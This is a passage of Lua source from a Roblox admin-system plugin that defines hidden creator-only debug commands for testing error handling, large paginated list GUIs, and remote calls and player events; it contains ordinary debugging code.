--// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER!

Response:
return function(Vargs, GetEnv)
	local env = GetEnv(nil, {script = script})
	setfenv(1, env)

	local server = Vargs.Server;
	local service = Vargs.Service;

	local Settings = server.Settings
	local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
		server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps

	Commands.TestError = {
		Hidden = true;
		Prefix = ":";
		Commands = {"debugtesterror"};
		Args = {"optional type (error/assert)", "optional message"};
		Description = "Test Error";
		NoFilter = true;
		AdminLevel = "Creators";
		Function = function(plr: Player, args: {string})
			--assert(args[1] and args[2],"Argument missing or nil")
			Remote.Send(plr, "TestError")
			Routine(function() plr.Bobobobobobobo.Hi = 1 end)
			if not args[1] then
				error("This is an intentional test error")
			elseif args[1]:lower() == "error" then
				error(args[2])
			elseif args[1]:lower() == "assert" then
				assert(false, args[2])
			end
		end;
	};

	Commands.TestBigList = {
		Hidden = true;
		Prefix = ":";
		Commands = {"debugtestbiglist"};
		Args = {};
		Description = "Test Big List";
		AdminLevel = "Creators";
		Function = function(plr: Player, args: {string})
			local list = {}

			for i = 1, 5000 do
				table.insert(list, {Text = i})
			end

			Remote.MakeGui(plr,"List",{
				Title = "DebugBigList_PageSize250",
				Table = list,
				Font = "Code",
				PageSize = 250;
				Size = {500, 400},
			})

			Remote.MakeGui(plr,"List",{
				Title = "DebugBigList_PageSize100",
				Table = list,
				Font = "Code",
				PageSize = 100;
				Size = {500, 400},
			})

			Remote.MakeGui(plr,"List",{
				Title = "DebugBigList_PageSize25",
				Table = list,
				Font = "Code",
				PageSize = 25;
				Size = {500, 400},
			})
		end;
	};

	Commands.TestGet = {
		Prefix = ":";
		Commands = {"debugtestget"};
		Args = {};
		Description = "Remote Test";
		Hidden = true;
		AdminLevel = "Creators";
		Function = function(plr: Player, args: {string})
			local tack = time()
			print(tack)
			print(Remote.Get(plr,"Test"))
			local tab = {
				{
					Children = {
						{Class = "sdfhasdfjkasjdf"}
				};
					{{Something = "hi"}};
				}
			}
			local m, ret = Remote.Get(plr, "Test", tab)
			if ret then
				print(ret)
				for i,v in next, ret do
					print(i,v)
					for i,v in next,v do
						print(i,v)
						for i,v in next,v do
							print(i,v)
							for i,v in next,v do
								print(i,v)
							end
						end
					end
				end
			end
			print(time() - tack)
			print("TESTING EVENT")
			Remote.MakeGui(plr, "Settings", {
				IsOwner = true
			})
			local testColor = Remote.GetGui(plr, "ColorPicker", {Color = Color3.new(1, 1, 1)})
			print(testColor)
			local ans,event = Remote.GetGui(plr, "YesNoPrompt", {
				Icon = server.MatIcons["Bug report"];
				Question = "Is this a test question?";
			}), Remote.NewPlayerEvent(plr, "TestEvent", function(...)
				print("EVENT WAS FIRED; WE GOT:")
				print(...)
				print("THAT'D BE ALL")
			end)
			print(`PLAYER ANSWER: {ans}`)
			wait(0.5)
			print("SENDING REMOTE EVENT TEST")
			Remote.Send(plr, "TestEvent", "TestEvent", "hi mom I went thru the interwebs")
			print("SENT")
		end;
	};